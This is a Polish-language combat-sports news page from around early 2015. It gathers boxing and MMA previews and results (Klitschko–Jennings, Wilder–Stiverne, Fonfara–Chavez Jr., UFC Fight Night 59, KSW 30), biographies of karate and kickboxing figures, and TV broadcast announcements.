W kontekście Jenningsa mówi się o jego atrakcyjności i potencjale. Z pewnością trudno uznać go za równorzędnego przeciwnika dla mistrza z Ukrainy. Sam Kliczko wyraża się o swoim najbliższym rywalu z wielkim uznaniem. – Mam wielki szacunek do Bryanta Jenningsa i do jego osiągnięć na zawodowym ringu. To będzie wymagający pojedynek – powiedział Kliczko. Dominacja Ukraińca w wadze ciężkiej nie podlega dyskusji. W swoim ostatnim starciu rozbił Kubrata Pulewa, czym udowodnił, że jego pozycja jest niezachwiana i trudno szukać pięściarza, który jest w stanie zagrozić wielkiemu mistrzowi. Povietkin, Wach, Chambers, Haye i wielu innych próbowało, ale nie podołało. Czy Jennings ma szanse? Po zwycięstwie Wildera nad Stivernem 30-latka poniosła fantazja. Jennings chciałby, aby cztery pasy trafiły do Stanów. – Nastał właściwy czas, aby tytuły znalazły się w  domu – powiedział amerykański bokser.

Amerykanie w końcu doczekali się mistrza. Po ośmiu latach posuchy po tytuł sięgnął Deontay Wilder. Czy jego śladem podąży Jennings? Wątpliwe. Nikt oczywiście nie odbiera Amerykaninowi szans na wyrównaną walkę z Ukraińcem, jednak na papierze trudno znaleźć argumenty, które przemawiają za 30-latkiem. Warto zauważyć, że pojawił się bokser, który otwarcie przyznaje, czego chce. To też niezwykle istotne. Najważniejsze, aby był gotowy do walki i chciał rywalizować. Tak jak Pulew, który wszedł do ringu, aby wygrać. Choć przegrał to razem z mistrzem stworzył ciekawie widowisko. Z punktu widzenia obserwatora jest to niezwykle istotne, aby rywal Ukraińca nie unikał walki. Bo jest to wydarzenie wokół, którego rodzi się ogromne zainteresowanie. Kliczko jest postacią, która przyciąga. Z tym, że często dzieje się tak, że jego rywal nie są w stanie dorównać aurze wytworzonej wokół pojedynku. Jennings dostaje szansę, aby pokazać światu swój potencjał. Warto podkreślić, że stoczy pojedynek na własnej ziemi. Kliczko też jest zadowolony z faktu, że przyjdzie walczyć mu w Nowym Jorku, gdzie dokonał unifikacji.

Ukrainiec stanie po raz osiemnasty do obrony tytułu. Kliczko jest faworytem pojedynku, Jennings ma swój cel. Jeden już osiągnął – udało się dojść do porozumienia w sprawie walki. Jakie warunki Jennings postawi Ukraińcowi? Niech spełnią się słowa Kliczko o trudnym pojedynku. Bo takich brakuje. Pełnych emocji i wrażeń. Najpierw Jennings musi pokonać strach. Wielu przed nim tego nie zrobiło.

KM

Fonfara zmierzy się z Chavezem

Andrzej Fonfara czeka na kolejny pojedynek. 18 kwietnia jego rywalem będzie Julio Cesar Chavez Jr., były mistrz świata wagi średniej.

Najlepszy polski półciężki będzie rywalizował z doświadczonym i utytułowanym bokserem. Walka odbędzie się w limicie pomiędzy wagą superśrednią, a półciężką. Ponoć Chavez zdecydował się na rywalizację w wyższej kategorii, gdyż nie chciało mu się zbijać wagi. Oby był świadomy konsekwencji jakie taka decyzja może nieść ze sobą.

Fonfara to bokser silny, który stopniowo buduje swoją pozycję w wadze półciężkiej. Notowania Polaka są coraz lepsze i kwestia rywalizacji o pas coraz częściej pojawia się w dyskusjach. Czy pojedynek z Chavezem pomoże Fonfarze w drodze do sukcesu? Z pewnością Polak dostał szansę rywalizacji z ciekawym bokserem, który ma na swoim koncie osiągnięcia. Chavez Jr. mimo niespełna dwudziestu dziewięciu lat stoczył już ponad pięćdziesiąt pojedynków na zawodowym ringu. Warto podkreślić, że Meksykanin rywalizuje w wadze junior średniej i średniej. Z kolei Polak jest bokserem kategorii półciężkiej. Kwestią podstawową jest fakt, że w tym zestawieniu lepiej wygląda Fonfara. Polski bokser jest silniejszy, obyty w wyższej kategorii wagowej. Z kolei Chavez do rywalizacji w takim limicie nie jest przyzwyczajony.

Zaproponowano nam ten pojedynek i przyjęliśmy ofertę – powiedział Leon Margules z grupy Warriors Boxing, która współpracuje z Fonfarą. Data starcia jest już znana – 18 kwietnia. Do ustalenia pozostała kwestia miejsca pojedynku oraz transmisji telewizyjnej. Wiadomo, że w grę wchodzą dwie stacje ShowTime oraz NBC. Warto nadmienić, że na szybkie porozumienie między obozami pięściarzy wpływ miał fakt, iż obaj zawodnikami Al'a Haymona.

Początkowo Chavez miał rywalizować z innym pięściarzem. Długo mówiło się, że były mistrz świata wagi średniej stanie w ringu naprzeciw Carla Frocha. Wydarzenie miało mieć miejsce 28 marca, jednak ostatecznie do niego nie dojdzie. Powodem jest kontuzja Frocha. Jak się okazuje Anglik doznał urazu łokcia, która eliminuje go z jakiejkolwiek rywalizacji. Dla Chaveza Jr. jest to tylko i wyłącznie wymówka, ale pięściarz cieszy się na możliwość starcia z Fonfarą. W związku z kontuzją Frocha z okazji skorzysta Polak. Fonfara zmierzy się z doświadczonym rywalem i będzie miał okazję stoczyć kolejny pojedynek, w którym celem będzie zwycięstwo oraz potwierdzenie swojej wartości.

Wszystko układa się pięknie, ale w całej historii pojawia się mały problem. Chavez Jr. swego czasu związany był z grupą Top Rank, jednak teraz ma podpisaną umowę z Alem Haymonem. Bob Arum uważa, że jest nieco inaczej i bokser ma zobowiązania wobec jego firmy. Według szef Top Rank Chavez Jr. powinien stoczyć jeszcze jeden pojedynek w ramach zawartego kontraktu. Jak rozstrzygnie się ta sytuacja? Arum grozi, że poda sprawę do sądu. Czy w takim przypadku walka Chaveza z Fonfarą jest zagrożona?

Na dzień dzisiejszy jest porozumienie między obozami i do starcia dojdzie 18 kwietnia. Fonfara stanie w ringu, aby odnieść kolejne zwycięstwo. W końcu rywal porywa się na Polaka, który jest silniejszy. Chaveza Jr. nie można zlekceważyć, jednak Fonfara ma argumenty przemawiające za jego triumfem. Najlepiej, kiedy przemawiają pięści. W ringu rzecz jasna.

KM

Noworoczny wywiad z Wiesławem Błachem

Zapraszamy do obejrzenia noworocznego wywiadu z Prezesem Polskiego Związku Judo Wiesławem Błachem. Dowiemy się co było sukcesem a co porażką naszego gościa w 2014 r. a także o planach na przyszłość. Niebawem wybory w Polskim Związku Judo a nasz gość będzie jednym z kandydatów dlatego też zapytaliśmy o wizję na przyszłe zarządzanie tak ważnym dla polskich sztuk walki związkiem sportowym. ZAPRASZAMY!!!

[kod]

Włodzimierz Kwieciński

Pionier i prekursor Karate w Polsce urodzony 3 lipca 1955 roku w Łodzi. Karate uprawia od ponad 40 lat. Przez 20 lat był uczniem sensei’a Hidetaki Nishiyamy – założyciela i pierwszego prezesa Międzynarodowej Federacji Karate Tradycyjnego (ITKF).  Włodzimierz posiada 7 DAN ITKF. Ukończył Wojskową Akademie Medyczną w Łodzi oraz Akademie Wychowania Fizycznego w Krakowie ze specjalizacją trenera karate II klasy.  W 1974 roku założył pierwszą oficjalną sekcję karate przy Wojskowej Akademii Medycznej w Łodzi, która cztery lata później przekształciła się w Łódzki Klub Karate – drugi samodzielny klub karate w Polsce. Zawodnicy ŁKK zdobyli w tamtym czasie wiele medali na arenie krajowej i międzynarodowej. W 1980 roku powstał Akademicki Klub Karate, który stał się w owym czasie najlepszym klubem Karate na Świecie.  Włodzimierz jest założycielem i prezesem Polskiego Związku Karate Tradycyjnego. Związek zrzesza aktualnie ponad 30 tysięcy ćwiczących w około 200 klubach i sekcjach w całej Polsce. Włodzimierz sprawuje również funkcję prezydenta Międzynarodowej Federacji Karate Tradycyjnego.  Jest trenerem – selekcjonerem reprezentacji Polski w Karate Tradycyjnym i twórcą jej sukcesów. W latach 1992-2012 Karatecy kadry narodowej zdobyli 426 medali podczas mistrzostw Świata i Europy, z czego 147 razy były to tytuły mistrzowskie, co czyni ich jedną z najbardziej utytułowanych reprezentacji globu.  Dzięki sukcesom polskiej reprezentacji, nasz kraj został doceniony i Polska stała się gospodarzem wielu międzynarodowych imprez o randze mistrzowskiej.  Włodzimierz był prezesem Komitetu Organizacyjnego następujących zawodów sportowych, które miały miejsce w Polsce:

  • Dwukrotnie Mistrzostwa Świata ( Łódź 2012, Pruszków 1998)
  • Trzykrotnie Mistrzostwa Europy ( Rzeszów 2006, Łódź 1992 i 1999)
  • Sześciokrotnie Puchar Świata
  • Pięciokrotnie Puchar Europy

Włodzimierz jest również inicjatorem budowy Centrum Japońskich Sportów i Sztuk Walki Dojo Stara Wieś – największego na świecie ośrodka japońskich sztuk walki. 

Za swoją działalność Włodzimierz Kwieciński został uhonorowany wysokimi odznaczeniami:

  • Złoty i Srebrny Krzyż Zasługi (2001 i 2012) przyznane przez prezydenta RP za zasługi na rzecz rozwoju Karate Tradycyjnego w Polsce i wybitne osiągnięcia trenerskie,
  • Order Wschodzącego  Słońca, Złote Promienie z Rozetą (2012) najstarsze japońskie wyróżnienie, ustanowione w 1875 roku przez Cesarza Meiji, przyznane Włodzimierzowi przez rząd Japonii za założenie Polskiego Związku Karate i Polskiego Związku Karate Tradycyjnego, promocję Japońskich sztuk walki w Polsce, promocję wymiany sportowej i obywatelskiej między Japonia a Polską, budowę Centrum Japońskich Sportów i Sztuk Walki Dojo – Stara Wieś, oraz za zaproszenie 30 dzieci z terenów zniszczonych w wyniku tsunami i trzęsienia ziemi w Japonii (marzec 2011) na dwutygodniowy pobyt w Polsce w ramach projektu „ Most Solidarności – polskie wakacje dla dzieci z Japonii”
  • Wyróżnienie Polskiego Komitetu Olimpijskiego  „Fair Play 2002” przyznane w 2003 roku „ za zachowanie widowni sportowej zgodne z zasadą fair play, zarówno podczas imprez dla młodzieży, jak i Pucharu Świata w Karate Tradycyjnym w Warszawie oraz podczas Pucharu Europy w Łodzi (2002)

Nagroda „Fair Play” przyznana w 2003 roku przez prezesa Polskiej Konfederacji Sportu za wzorową organizację zawodów, zapewnienie bezpieczeństwa uczestnikom i kulturalne zachowanie publiczności podczas Pucharu Świata Prokom 2003.

Marek "Punisher" Piotrowski

Polski kickbokser i bokser urodzony 14 sierpnia 1964 roku w Dębem Wielkim. Karierę sportową rozpoczął jako bardzo młody adept Jiu-Jitsu, z czasem zainteresował się Karate Kyokushin. W 1984 roku zdobył w tej dyscyplinie Mistrzostwo Polski juniorów. Rok później powtórzył ten sukces jako senior. W karate stoczył 13 oficjalnych pojedynków, wszystkie wygrał. W lipcu 1993 roku stał się posiadaczem czarnego pasa. Z początkiem 1987 roku zaczął trenować Kick-boxing w formule full-contact, mimo że tak dyscyplina była w Polsce wówczas zakazana. 11 października 1987 roku zdobył w Monachium amatorskie mistrzostwo Świata w kategorii wagowej do 81 kg. Tego samego roku wygrał również mistrzostwo Polski, a na Węgrzech Puchar Świata zostając uznanym za najlepszego zawodnika turnieju.  W 1988 roku zdecydował się na wyjazd do USA, aby rozpocząć karierę zawodową.  W październiku wygrał swój pierwszy pojedynek pokonując Boba Handegana.  19 sierpnia 1989 roku w piątej walce w USA wygrał jednogłośnie na punkty, dotychczas niepokonanego  Ricka „The Jet” Roufusa i zdobył zawodowe mistrzostwo Stanów Zjednoczonych organizacji PKC. Do jego nazwiska przyległ również ringowy przydomek Punisher. 4 listopada 1989 roku w Chicago pokonał Dona „ The Dragon” Wilsona i został zawodowym mistrzem świata organizacji ISKA, PKC i FFKA.  Do 1991 stoczył sześć pojedynków , pokonując min. Boba „ The Thunder” Thurmana oraz renomowanego Marka Longo. Do tego momentu był niepokonanym zawodnikiem na zawodowym ringu, z bilansem 29-0-0 (19 KO). 22 czerwca 1991 roku mimo problemów osobistych, stoczył rewanżowy pojedynek z Rickiem Roufusem, który przegrał przez KO w drugiej rundzie.  Po tej porażce rozpoczął karierę w boksie zawodowym, wygrywając pierwszą walkę przed czasem. Następnie do 1992 roku chcąc odzyskać utracony tytuł Mistrza Świata, stoczył kilka wygranych walk w Kick-boxingu.  W lipcu 1992 roku zdobył tytuł Mistrza Ameryki Północnej wygrywając z Kanadyjczykiem Conradem Pla. 22 listopada 1992 roku stanął do pojedynku z  wielokrotnym mistrzem, Holendrem Robem Kamanem. Przegrał ten pojedynek przez TKO w 7 rundzie, po niezwykle dramatycznym pojedynku.  22 czerwca 1993 roku pokonał w Montrealu przez TKO Michaela McDonalda. W tym samym roku pokonał Mike’a Winklejohna, zdobywając tytuł mistrza świata ISKA w formule oriental rulet. W 1995 roku stoczył swoje ostatnie starcie w Kick-boxingu. W Krakowie pokonał Włocha Stefano Tomiazzo, zdobywając pas mistrza świata organizacji WKA i unifikując wszystkie światowe tytuły w full-contact. Tym samym stał się posiadaczem wszystkich najważniejszych pasów mistrzowskich: ISKA, KICK, PKC, WAKO-PRO, FFKA, WKA i TBC. Równolegle ze startami w kickboxingu, Marek kontynuował karierę zawodowego boksera. W latach 1992-1996 stoczył 21 pojedynków w wadze półciężkiej.  Wszystkie pojedynki wygrał.  Zawodową karierę zakończył 13 grudnia 1996 roku w Hanowerze wygraną walką bokserską.  20 listopada 2009 roku został odznaczony przez prezydenta RP Lecha Kaczyńskiego Krzyżem Kawalerskim Orderu Odrodzenia Polski za swoje osiągnięcia sportowe i pracę społeczną. 

Urodzinowa gala Hopkinsa w FightKlubie.

Wieczór z Muay Thai!

Zapraszamy na kolejną galęz cyklu “WCK Full Rule Muay Thai”. W każdy wtorek o 22:00 pokażemy najciekawsze imprezy i najlepsze pojedynki najdłużej działającej na terenie Stanów Zjednoczonych organizacji boksu tajskiego – World Championship Muay Thai. W zmaganiach zobaczycie czołowych zawodników z całego świata rywalizujących na zasadach Muay Thai.

Urodzinowa gala Hopkinsa w FightKlubie.

W nocy z wtorku na środę od 02:00 (powtórka w środę o 11:30) wyłącznie na naszej antenie na żywo galę grupy Golden Boy Promotions w Filadelfii. Jej organizatorzy będą świętować 50. urodziny byłego mistrza świata wagi średniej i półciężkiej, wciąż aktywnego boksersko Bernarda Hopkins. Głównym wydarzeniem imprezy organizowanej w rodzinnym mieście Hopkinsa, będzie zakontraktowany na dziesięć rund pojedynek w kategorii piórkowej pomiędzy Ericiem Hunterem (19-3, 10 KO) i Rene Alvarado (21-3, 14 KO).

W przekazie telewizyjnym znajdą się również pojedynki Michaela Pereza (21-1-2, 10 KO) z byłym mistrzem świata wagi lekkiej Miguelem Acostą(29-7-2, 23 KO) oraz Lamonta Roacha Jr (5-0, 2 KO) z Herbertem Quarteyem (12-10, 9 KO). Transmisja gali w nocy z wtorku na środę od godz. 03.00. Powtórka w środę o 11:30.

Włoski boks na żywo: Emiliano Marsili – Antonio De Vitis

W najbliższą sobotę o 21:00 pokażemy w FightKlubie walkę, której stawką jest tytuł mistrza Europy w wadze lekkiej. Faworytem pojedynku jest niepokonany w karierze Marsili. Włoch nie przegrał żadnej ze swoich trzydziestu jeden walk, broni też tytułu, który zdobył blisko dwa lata temu pokonując Lucę Giacona. W swoich ostatnich walkach pewnie zwyciężył on Gyorgy’a Mizseia Jr., Benoit Manno i Pasquale Di Silvio – stawką każdej z tych walk był pas EBU. Z kolei De Vitis przegrał dwie ze swoich trzech ostatnich potyczek. Najpierw nie sprostał Devisowi Boschiero w walce o tytuł mistrza Europy, a w maju ubiegłego roku przegrał z Edisem Tatlim o interkontynentalny pas federacji WBA.

Źródło: materiały prasowe

McGregor wykonał zadanie

Conor McGregor podczas gali UFC Fight Night 59 w Bostonie pokonał Dennisa Sivera. Irlandczyk zrobił krok w kierunku walki o mistrzowski pas wagi piórkowej.

Nie było innej możliwości. McGregor doskonale wiedział, że Siver jest jedynie przeszkodą na drodze do upragnionego celu. Irlandczyk uchodził za murowanego faworyta do zwycięstwa w rywalizacji z Niemcem. Sam McGregor zapowiadał, że rozstrzygnie pojedynek w dwie minuty, jednak potrzebował nieco więcej czasu. Dominacja fightera z Irlandii była przygniatająca. Początkowo McGregor był ostrożny, jednak od momentu, w którym zranił przeciwnika kolanem w wyskoku był bezwzględny. Siver mógł się tylko bronić przed gradem ciosów. Pierwszą odsłonę Niemiec przetrwał. McGregor niczym wielki mistrz w drugiej rundzie dokończył dzieło. Celny lewy prosty sprawił, że Siver znalazł się na deskach. Irlandczyk dopadł rywala i kilkoma łokciami zakończył pojedynek. Sędzia przerwał walkę – zwycięstwo McGregora stało się faktem.

Irlandczyk zrealizował zadanie, przed którym stanął. Siver był jedynie przeszkodą na drodze do celu. Teraz McGregor czeka na pojedynek o mistrzowski pas. Kiedy nadejdzie jego czas? Wiadomo, że McGregor jest zawodnikiem o dużym potencjale – zarówno sportowym jak i marketingowym. Po wygranej z Siverem wyskoczył z klatki i zatrzymał się dopiero na ochroniarzach. Wzrokiem szukał mistrza wagi piórkowej Jose Aldo. Brazylijczyk na próbę prowokacji ze strony McGregora zareagował uśmiechem. Irlandczyk wie, o co gra i rozpoczyna rywalizację bardzo szybko. Tylko, czy jest w stanie wyprowadzić Aldo z równowagi? Rywalizacja Brazylijczyka i Irlandczyka zapowiada się ciekawie. Pod względem sportowym będzie to z pewnością efektowny pojedynek. O wrażeniach wokół walki zadba już McGregor.

Niespełna cztery minuty trwał pojedynek Halla i Stallingsa. Publiczność nie nacieszyła się długo rywalizacją fighterów. Hall szybko posłał rywala na deski. Dodatkowo łokciami rozciął mu policzek i łuk brwiowy. Interweniować musiał lekarz, który zdecydował, że Stallings nie może kontynuować rywalizacji. Gleison Tibau zwyciężył Normana Parke’a przez decyzję sędziów – 29-28, 29-28, 28-29. Przez dłuższą część walki rywalizacja toczyła się w stójce. Parke w trzeciej rundzie zaatakował przeciwnika, jednak było już za późno na odwrócenie losów pojedynku. Donald Cerrone na punkty okazał się lepszy od Bensona Hendersona.

W końcu zwycięstwo odniósł Lorenz Larkin. Po trzech porażkach z rzędu przyszła kolej na wygraną. Larkin pokonał Johna Howarda już w pierwszej rundzie. Po mocnym prawym sierpowym ruszył za rywalem i ciosami w parterze zakończył pojedynek. Johnny Case odniósł dziesiąte zwycięstwo z rzędu, a jego kolejną ofiarą padł debiutant – Franki Perez.

Najważniejsza wiadomość z Bostonu – McGregor zwycięski. Irlandczyk kroczy po mistrzowski pas. Tak naprawdę Siver nie był wymagającym rywalem, wygrana McGregor w pełni zasłużona. Z Aldo nie będzie już tak łatwo, ale może być niezwykle widowiskowo. 

Wyniki UFC Fight Night 59:

Walka wieczoru: 145 lbs: Conor McGregor pokonał Dennisa Sivera przez TKO 

Karta główna:
155 lbs: Donald Cerrone pokonał Bensona Hendersona przez jednogłośną decyzję 
185 lbs: Uriah Hall pokonał Rona Stallingsa przez TKO 
155 lbs: Gleison Tibau pokonał Normana Parke’a przez niejednogłośną decyzję 

Walki w FOX Sports 1:
170 lbs: Cathal Pendred pokonał Seana Spencera przez jednogłośną decyzję 
170 lbs: Lorenz Larkin pokonał Johna Howarda przez TKO 
155 lbs: Chris Wade pokonał Lipenga Zhanga przez jednogłośną decyzję .
125 lbs: Patrick Holohan pokonał Shane’a Howella przez jednogłośną decyzję 
155 lbs: Johnny Case pokonał Frankiego Pereza przez TKO 
145 lbs: Charles Rosa pokonał Seana Soriano  przez poddanie 

Walki w Fight Pass:
205 lbs: Sean O’Connell pokonał Matta Van Burena przez TKO 
125 lbs: Joby Sanchez pokonał Tatekiego Matsudę przez niejednogłośną decyzję 

KM

Zapaśnicza rywalizacja z najlepszymi

W tegorocznym Pucharze Świata kobiet w akcji zobaczymy reprezentację Polski. Biało – czerwone trafiły do trudnej grupy, ale udział w imprezie tej rangi z pewnością będzie wartościowym doświadczeniem dla naszych zawodniczek.

Warto nadmienić, że w Pucharze Świata występuje najlepsza ósemka ostatnich mistrzostw świata. W związku z tym w zawodach udział wezmą: Japonia, Rosja, USA, Ukraina, Szwecja, Mongolia, Polska oraz Azerbejdżan. W ostatniej edycji Pucharu Świata w Tokio zwycięstwo odniosła reprezentacja Japonii.

Polki poznały ekipy, z którymi przyjdzie im rywalizować w dniach 7-8 marca w St. Petersburgu. Biało – czerwone trafiły do grupy A z Japonkami, Amerykankami i Azerkami. W grupie B znalazły się: Rosja, Ukraina, Szwecja i Mongolia. O zwycięstwo w turnieju zmierzą się najlepsze ekipy z obu grup. Drużyny z drugich miejsc powalczą o trzecie miejsce w zawodach Pucharu Świata.

Dla reprezentacji Polski udział w Pucharze Świata to ogromne wyróżnienie, a zarazem pokłosie dobrego występu podczas mistrzostw świata w Taszkiencie. Warto dodać, że do tegorocznej edycji nie zakwalifikowały się Chinki, które w poprzednich zawodach uplasowały się na trzeciej pozycji oraz Kanadyjki. Biało – czerwone mają szansę sprawdzić się w rywalizacji z najlepszymi. Z pewnością start w Pucharze Świata będzie dobrą płaszczyzną przygotowań do mistrzostw świata w Las Vegas.

Dla Polek będzie to debiut w rywalizacji. W Pucharze Świata biało – czerwone zaprezentują się po raz pierwszy i nie wystąpią w turnieju w roli faworyta. Nie ma, co ukrywać, że szanse naszej reprezentacji na sukces są znikome. Polska trafiła do mocnej grupy. Wydaje się wręcz nieprawdopodobne, aby biało – czerwone były w stanie zagrozić Japonkom, które będą faworytkami do zwycięstwa. Amerykanki również prezentują poziom wyższy od Polski. Jednakże nie można skreślać przedwcześnie naszej reprezentacji. Z każdego doświadczenia trzeba wyciągnąć wnioski i dostrzec w nim wartość. Potencjał polskich zapasów obecnie nie osiąga poziomu, którego byśmy sobie życzyli, jednakże należy doceniać każdy sukces. Takim z pewnością jest udział w Pucharze Świata. Jedynie Azerbejdżan jest teoretycznie słabszą ekipą niż Polska i w tej rywalizacji możemy liczyć na sukces. Z pewnością medal pozostaje w sferze marzeń, jednak o piąte miejsce nasza reprezentacja jest w stanie powalczyć.

Tegoroczny Puchar Świata odbędzie się w dniach 7-8 marca w St. Petersburgu. Polska wystąpi jako debiutant w imprezie tej rangi. Dobry występ podczas mistrzostw świata w Taszkiencie sprawił, że biało – czerwone czeka rywalizacja na naprawdę wysokim poziomie. Warto nadmienić, że w lutym nasze reprezentantki udadzą się na zgrupowanie do Szwecji. W składzie kadry znalazło się dziesięć zawodniczek: Roksana Zasina, Katarzyna Krawczyk, Anna Zwirydowska, Anna Łukasiak, Paula Kozłow, Agnieszka Wieszczek – Kordus, Daria Osocka, Paulina Grabowska, Iwona Matkowska oraz Monika Michalik.

De facto Puchar Świata będzie cennym doświadczeniem i dobrym przygotowaniem do mistrzostw świata. W Las Vegas nasze zawodniczki powalczą o jak najlepsze miejsce i coś więcej. O przepustkę do Rio.

KM

Król Wilder

Stało się! Amerykanin na tronie wagi ciężkiej. Deontay Wilder został mistrzem świata federacji WBC odbierając tytuł z rąk Bermane Stiverne’a.

Zdecydowanie wyższy i zadający potężne ciosy Wilder zdaniem wielu od początku miał rzucić się na rywala. Zwracano uwagę na fakt, że Amerykanin nigdy nie walczył przez cały dystans walki. Stiverne mógł zakładać, że im dłużej będzie trwał pojedynek to sytuacja będzie obracała się z korzyścią dla niego. Wilder zaskoczył wszystkich – wytrzymał dwanaście rund.

Ponad trzydzieści zwycięstw i brak porażki mówi sam za siebie, jednakże Amerykanina przed pojedynkiem o pas nie doceniano. Eksperci i komentatorzy podważali jego szanse. Wielu wskazywało, iż to przeciętny bokser i walka o mistrzowski pas przerośnie Amerykanina. Widler utarł nosa niedowiarkom, a obaj pięściarze stworzyli świetne widowisko.

Początkowo Wilder trzymał rywala na dystans. Stiverne starał się skracać dystans i trzymał wysoko gardę, jednak pretendent znalazł receptę na zachowanie przeciwnika. Pod koniec drugiej rundy Wilder zbombardował rywala i ten padł na deski, ale razem z Amerykaninem. Mistrz WBC upadając złapał się przeciwnika i pociągnął go ze sobą. Wilder konsekwentnie starał się rozbijać rywala lewym prostym, z kolei Stiverne szukał możliwości zaskoczenia rywala, jednak było to niezwykle trudne. Kanadyjczyk starał się skracać dystans, aktywnie poruszał się. W czwartej rundzie zadał kilka celnych ciosów i ta odsłona padła jego łupem. Wydawało się, że kłopoty Wildera mogą rozpocząć się w każdej chwili, jednak Amerykanin był w pełni formy i nie było widać po nim zmęczenia. Stiverne nie ustawał w swoich staraniach aż w końcu zrobił wrażenie na swoim przeciwniku. W szóstej rundzie lewy sierpowy mistrza zrobił wrażenie na pretendencie. Stiverne wyczuł swoją szansę i atakował rywala. Prawy, lewy sierpowy w wykonaniu mistrza, która nadział się na kontrę Wilder. W siódmej rundzie potężny cios Amerykanina zachwiał bokserem z Kanady. Wilder kontrolował przebieg pojedynku i miał świadomość, że w notowaniach sędziowskich prowadzi. Stiverne starał się skracać dystans, jednak Amerykanin doskonale wyczuwał zamiary przeciwnika i powstrzymywał jego dążenia.

W przerwie między dziewiątą, a dziesiątą rundą Kanadyjczyk dostał w narożniku informację, że na punkty przegrywa. Niestety, nie pomogło. Stiverne był już wyczerpany, nie potrafił zagrozić przeciwnikowi. Z kolei Wilder spokojnie chciał dotrwać do końca. Sędziowie podjęli jednogłośną decyzję. Arbitrzy punktowali: 118-109, 119-108, 120-107 na korzyść Wildera.

Amerykanie doczekali się. Po ośmiu latach w końcu mają mistrza świata w wadze ciężkiej. Wilder udowodnił swoją wartość i pokazał, że nie jest bokserem przypadkowym. Jak widać Amerykanin jest w stanie wytrwać cały dystans walki. Mądra taktyka, punktowanie rywala dały efekt. Z pewnością istotna była przewaga wzrostu oraz siła Wildera, który potrafił celnie trafić Stiverne’a i zrobić na nim niebagatelne wrażenie. Warto odnotować, że pojedynek był niezwykle ciekawy. Nie były to swego rodzaju bokserskie szachy tylko prawdziwa walka. Poziom sportowy rywalizacji należy ocenić wysoko.  Wilder i Stiverne pokazali boks, za którym wielu tęskni – emocje, efektowne ciosy, wymiany. W wadze ciężkiej panuje nowy mistrz. Pas WBC trafił w ręce Wildera. Czy Kliczko musi zacząć się bać?

KM

KSW 30: Mańkowski wystąpi jako gwiazda

Borys Mańkowski wystąpi w walce wieczoru podczas 30 gali Konfrontacji Sztuk Walki. Zawodnik Anakosu Zapasy Poznań po raz drugi będzie bronił mistrzowskiego pasa w kategorii półśredniej. KSW 30 odbędzie się 21 lutego w Poznaniu.

Na początek o jedynej kobiecie, która zaprezentuje się podczas poznańskiej gali. Karolina Kowalkiewicz po raz drugi stanie w obronie mistrzowskiego pasa federacji KSW. Fighterka tytuł wywalczyła podczas KSW 23, kiedy to w siedemdziesiąt jeden sekund poddała Martę Chojnoską. W pierwszej obronie pasa Polka zmierzyła się z Jasminką Cive, którą odprawiła już w pierwszej rundzie. Kowalkiewicz poczyna sobie coraz śmielej w mieszanych sztukach walki. Pobyt w Stanach Zjednoczonych z pewnością pozytywnie wpłynął na zawodniczkę oraz jej warsztat. Sam fakt, że Kowalkiewicz od dłuższego czasu gości w karcie walk KSW mówi sam za siebie. W Poznaniu fighterka po raz drugi stanie w obronie mistrzowskiego pasa. Z pewnością udowodni swoją wartość, gdyż jej umiejętności predysponują ją do występów na najwyższym poziomie. Pytanie: kiedy Kowalkiewicz podbije świat? W końcu klasyfikowana jest jako siódma zawodniczka dywizji słomkowej.

 

Były mistrz KSW Aslambek Saidov zmierzy się z Rafałem Moksem. "Kulturysta" ostatnio prezentuje się bardzo dobrze i w każdej kolejnej walce porywa publiczność. Czy tak będzie w rywalizacji z Saidovem? Były mistrz wraca do rywalizacji po problemach osobistych, a więc jego forma jest niewiadomą. Moks, który jest czołowym polskim grapplerem, w sposób szczególnych podchodzi do rywalizacji z Saidovem. Obaj panowie spotkali się na KSW 17 i wtedy lepszy okazał się  pochodzący z Czeczenii zawodnik. Ponadto, rywalizacji smaczku dodaje fakt, że zwycięzca zapewne będzie pretendentem do pasa.

Na KSW zaprezentuje się Anzor Azhiev. Ogromny talent i wielka nadzieja organizacji. Azhiev podczas swojej walki z Helsonem Henriquesem na KSW 28 zaprezentował bogaty repertuar zagrań, starcie było niezwykle widowiskowe i zostało uznane za najlepszy pojedynek wieczoru. Fighter coraz lepiej radzi sobie na galach organizacji. Przede wszystkim walczy widowiskowo i nie ucieka od rywalizacji. Czy z Poznaniu udowodni swoją wartość?

Daniem głównym KSW 30 będzie walka Borysa Mańkowskiego. W ostatnim pojedynku "Diabeł Tasmański" bez większych problemów uporał się z Dawidem Zawadą. Czy kolejny rywal zawiesi wyżej poprzeczkę mistrzowi? Mańkowski stał się twarzą KSW. Ciężka praca, wyczerpujący trening, wytrwałość, profesjonalne podejście do sportu dało efekt. Mańkowski wszedł na szczyt i nie zamierza z niego schodzić. Czy nada marce KSW nowy blask i zmieni oblicze polskiego MMA? W Poznaniu musi wygrać, nie ma innej możliwości.

Poznaliśmy pięć nazwisk karty walk KSW 30. Czekamy na kolejnych fighterów i kolejne emocje. Z pewnością fakt, że Mańkowski będzie gwiazdą wieczoru świadczy o docenieniu jego postępów przez włodarzy federacji. Wydaje się, że w federacji nadchodzi czas zmian, pewnych przetasowań. Coraz więcej Mańkowskiego i młodszych zawodników, a stare wilki leczą swoje urazy.

KM

UFC po polsku

Informacja o gali UFC w Polsce  zrobiła ogromne zamieszanie. Rzecz jasna –to nic pewnego, ale sama możliwość  organizacji takiej imprezy podziałała na wyobraźnię wielu. Czy w Polsce odbędzie się gala UFC?

Konkretów jeszcze nie ma, ale nieoficjalnie krążą pewne informacje. Wszystko wskazuje na to, że gala UFC miałaby mieć miejsce w Krakowie. Kiedy? Prawdopodobnie w kwietniu. De facto czas goni i przydałoby się mieć pewność, co do kwestii organizacji imprezy. UFC ma ogłosić rozkład swojego kalendarza podczas konferencji prasowej przed  galą w Sztokholmie, która odbędzie się 24 stycznia. Wtedy dowiemy się wszystkiego, poznamy szczegóły planów organizacji i będziemy mogli przygotowywać się na wrażenia najwyższych lotów. Jednak trzeba zachować spokój – coś jest na rzeczy, ale dopiero oficjalnie potwierdzenie będzie gwarantem.

